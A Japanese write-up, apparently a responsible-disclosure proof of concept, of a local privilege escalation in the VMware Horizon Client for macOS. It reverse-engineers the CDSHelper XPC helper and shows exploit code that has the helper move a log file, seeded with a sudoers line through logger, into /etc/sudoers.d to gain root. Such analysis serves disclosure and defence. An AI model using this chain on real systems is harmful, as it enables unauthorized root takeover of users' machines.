
macOS 向け VMWare Horizon クライアントの、XPC ロジックの欠陥による LPE。私が Omnissa に責任を持って開示した 0-day に対する、遅ればせながらの POC。
macOSオペレーティングシステムは、XPCサービスを使用して、XPCサービスデーモンとサードパーティ製アプリケーションの特権ヘルパーツールなど、さまざまなプロセス間の基本的なプロセス間通信を行います。VMware Horizon Clientは、インストール時に、/Library/PrivilegedHelperTools/ ディレクトリの下に com.vmware.horizon.CDSHelper 特権ヘルパーを登録します。
また、com.vmware.horizon.CDSHelper のmach名は、特権ヘルパーが着信XPC接続を待ち受けるために使用されることにも注意してください(上記のとおり)。 次に、macOSのデフォルトの開発者ツールを使用してヘルパーバイナリからシンボルをダンプし、XPC動作を組み込んでいることを確認しました:
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc
U __xpc_error_connection_invalid
U __xpc_error_key_description
U __xpc_type_connection
U __xpc_type_dictionary
U __xpc_type_error
U _xpc_connection_create_mach_service
U _xpc_connection_get_pid
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_get_string
U _xpc_dictionary_set_int64
U _xpc_get_type
U _xpc_release
次に、Hopper Disassemblerツールを使用してヘルパーを逆コンパイラに読み込み、さらにリバースエンジニアリングを行いました(下記参照): open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper EntryPoint() 関数が特定され、レビューされ、CDSHelperのメインエントリであることが確認されました。
次に、sub_100005fa0 関数が逆コンパイルされ、VMWare Horizon Clientの特権ヘルパーツールがXPCサービスAPIを使用していることが確認されました。これは、Appleが提供する低レベルC APIであり、Objective-C/Swift層に存在するXPC接続APIとは異なります:
int sub_100005fa0(int arg0, int arg1) {
sub_1000063d4("Starting service: %s\n");
r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
xpc_connection_set_event_handler(r0, &var_38);
r0 = xpc_connection_resume(r20);
dispatch_main();
return r0;
}
machサービスが作成された後(xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper) を介して)、クライアントとHorizon ClientのXPCサービス間のメッセージは、xpc_dictionary_create() メソッドで作成されたXPC辞書オブジェクトを介して交換されます。 値は、Appleが開発者に提供するメソッドを使用してこの辞書に追加できます。これらのメソッドは通常、xpc_dictionary_set_* で始まります。 クライアントは、xpc_connection_send_* などのメソッドを介して、これらのXPC辞書オブジェクトをXPCサービスに送信できます。 Horizon ClientのXPCサービス側では、クライアントから受信したXPC辞書オブジェクトを処理できるハンドラーが登録されます。これは、xpc_connection_set_event_handler() メソッドを使用して行われます。 最後に、受信したXPC辞書オブジェクトから値が、xpc_dictionary_get_* などのメソッドを使用して読み取られます。 CDSHelperの EntryPoint() が戻った後、sub_100056d0 関数が呼び出されます:
この時点で、実行は sub_1000056ec に渡され、着信XPCメッセージの処理の大部分を担当します。逆コンパイルされた関数の全体を以下に示します。重要な脆弱部分は、その直後にレビューされます。
int sub_1000056ec(int arg0, int arg1) {
r31 = r31 - 0x90;
var_30 = r24;
stack[-56] = r23;
var_20 = r22;
stack[-40] = r21;
var_10 = r20;
stack[-24] = r19;
saved_fp = r29;
stack[-8] = r30;
r19 = arg1;
var_38 = **___stack_chk_guard;
sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
r0 = xpc_dictionary_get_string(r19, "cdsjob");
if (r0 == 0x0) goto loc_1000057bc;
loc_100005738:
r20 = r0;
r0 = sub_1000063d4("CDSHelper: cdsJob is %s.\n");
if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;
loc_100005760:
if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;
loc_100005774:
if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
if (**___stack_chk_guard == var_38) {
r0 = sub_100005498(r19);
}
else {
__stack_chk_fail();
}
}
else {
r0 = sub_100005380(r19, 0x16);
sub_100006434("NOT_REACHED %s:%d\n");
}
return r0;
loc_1000058c4:
r0 = sub_1000068b8();
if (r0 == 0x0) goto loc_100005980;
loc_1000058d4:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
r20 = r0;
if (r0 == 0x0) goto loc_1000059b0;
loc_1000058f0:
r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
r21 = r0;
if (r0 == 0x0) goto loc_1000059f8;
loc_100005908:
sub_1000069b8();
sub_1000069b8();
sub_100006998();
if (0x0 == 0x0) goto loc_100005a60;
loc_100005948:
sub_100006978();
sub_1000067b8();
r0 = "CDSHelper: Failed to move the file : %s.\n";
goto loc_100005a00;
loc_100005a00:
sub_1000063d4(r0);
goto loc_100005a04;
loc_100005a04:
r22 = 0x16;
strerror(0x16);
sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
goto loc_100005a24;
loc_100005a24:
r0 = r19;
r1 = r22;
goto loc_100005a2c;
loc_100005a2c:
r0 = sub_100005380(r0, r1);
if (**___stack_chk_guard != var_38) {
__stack_chk_fail();
}
return r0;
loc_100005a60:
sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
r22 = 0x0;
goto loc_100005a24;
loc_1000059f8:
r0 = "CDSHelper: Invalid parameter of moving: destination dir.\n";
goto loc_100005a00;
loc_1000059b0:
sub_1000063d4("CDSHelper: Invalid parameter of moving: source file.\n");
r21 = 0x0;
goto loc_100005a04;
loc_100005980:
sub_1000063d4("CDSHelper: Failed to get the invalid file manager.\n");
r21 = 0x0;
r20 = 0x0;
goto loc_100005a04;
loc_100005818:
r0 = xpc_dictionary_get_string(r19, "vmwareid");
if (r0 == 0x0) goto loc_100005960;
loc_10000582c:
r20 = r0;
r0 = xpc_dictionary_get_string(r19, "path");
if (r0 == 0x0) goto loc_10000596c;
loc_100005844:
r21 = r0;
if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;
loc_10000585c:
r0 = xpc_dictionary_get_string(r19, "appDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005870:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "tempDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005888:
sub_100006460();
sub_1000063d4("CDSHelper: The cds script %s is running...\n");
r0 = sub_100005410(&var_60);
r20 = r0;
if (r0 == 0x0) {
r0 = "CDSHelper: The cds script ran successfully!\n";
}
else {
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
}
goto loc_1000059e8;
loc_1000059e8:
sub_1000063d4(r0);
r0 = r19;
r1 = r20;
goto loc_100005a2c;
loc_1000059c4:
r0 = "CDSHelper: Invalid parameter.\n";
goto loc_1000059cc;
loc_1000059cc:
sub_1000063d4(r0);
r20 = 0x16;
goto loc_1000059d4;
loc_1000059d4:
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
goto loc_1000059e8;
loc_100005998:
sub_1000063d4("CDSHelper: Invalid script codesigning for %s.\n");
r20 = 0xd;
goto loc_1000059d4;
loc_10000596c:
sub_1000063d4("CDSHelper: Invalid script path.\n");
r20 = 0x2d;
goto loc_1000059d4;
loc_100005960:
r0 = "CDSHelper: Invalid vmwareid.\n";
goto loc_1000059cc;
loc_1000057bc:
sub_1000063d4("CDSHelper: Invalid cdsJob.\n");
strerror(0x16);
r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
if (**___stack_chk_guard == var_38) {
r0 = sub_100005380(r19, 0x16);
}
else {
__stack_chk_fail();
}
return r0;
}
以下で強調されているように、特権ヘルパーはまず、xpc_dictionary_get_string() メソッドを使用して cdsjob の値を取得します。ここから、特権ヘルパーが期待する文字列は3つあります:
文字列比較が cdsjob_movefile と一致した場合、CDSHelperは下記のように loc_1000058c4 内で実行を再開します。xpc_dictionary_get_string() メソッドを介して、さらに2つの文字列がチェックされます:
特権ヘルパーがこれらの追加の2つの文字列を取得した後、さらに3つの関数が次の場所で呼び出されます:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
2番目の文字列を返します:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
cds_movefile_srcfile で指定されたパスのファイルまたはディレクトリを、cds_movefile_dstdir の新しい場所に移動します(https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):
void sub_100006998() {
[r0 moveItemAtPath:r2 toPath:r3 error:r4];
return;
}
この時点で、ファイルシステムエラーがなければ、CDSHelperはファイルの移動に成功し、次のメッセージをログに記録して実行を返します:CDSHelper: The cds moving ran successfully! この操作の過程で、特権ヘルパーは着信クライアント接続に対するチェック(例:SecRequirement 文字列と接続のパッケージ識別子、チーム識別子、Apple証明書署名などを使用した署名チェック)を一切実行しないことに注意してください。したがって、悪意のある攻撃者は有効なXPC接続を開始し、特権ヘルパーに任意のファイルを昇格された特権で移動させることができます。これにより、以下に示すように、オペレーティングシステムの完全な侵害への権限昇格が可能になります。 任意のrootファイル上書きを証明するために、以下のXPC辞書値が最初に設定および送信されました:
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");
しかし、CDSHelperが逆コンパイルされた関数 sub_1000068b8 で fileManagerWithAuthorization の代わりに defaultManager を使用してファイルマネージャオブジェクトを初期化する結果、特権ヘルパーはファイル移動時にファイルの所有権を尊重します。つまり、元々非rootユーザーが所有していたファイルは、移動の過程でroot所有にはなりません。そのため、/etc/sudoers.d/ などのディレクトリにファイルを移動して権限を昇格させるには、攻撃者は、すでにrootが所有し、ワールドライタブルではなく、CDSHelper関数を介してファイルを移動する前に内容を部分的に制御できるファイルを見つける必要があります。 下記に示すように、logger コマンドラインユーティリティを介して /var/log/install.log の内容を部分的に制御することが可能です。これは、エクスプロイト条件の基準を満たすファイルです:
» ls -la /var/log/install.log
-rw-r--r--@ 1 root admin 420902 Oct 20 18:46 /var/log/install.log
logger を使用して、install.error 優先度を指定し、キャリッジリターンを使用して新しい行を追加することにより、有効なsudo設定の行をログファイルに挿入することが可能です。
エクスプロイトPOC(poc.c を参照)から、前述のログファイルを /etc/sudoers.d/ ディレクトリに myfile として移動するための関連行を以下に示します:
xpc_object_t my_message;
my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");
sudo を介してコマンドを受信すると、オペレーティングシステムはログファイルを解析し、その過程でログエントリの無効な構文に関する複数のエラーをstdoutに返し、最終的に注入された有効な構文の単一行に到達するまで続行することに注意してください。
したがって、エクスプロイトは注入されたログファイルを /etc/sudoers.d/ ディレクトリに移動することに成功し、sudo を介して /tmp/vmwarebeware にある新しいファイルに touch できることを示し、VMWare Horizon Clientの特権ヘルパーツールを介して基盤となるmacOSオペレーティングシステムでの権限昇格が成功することを証明します。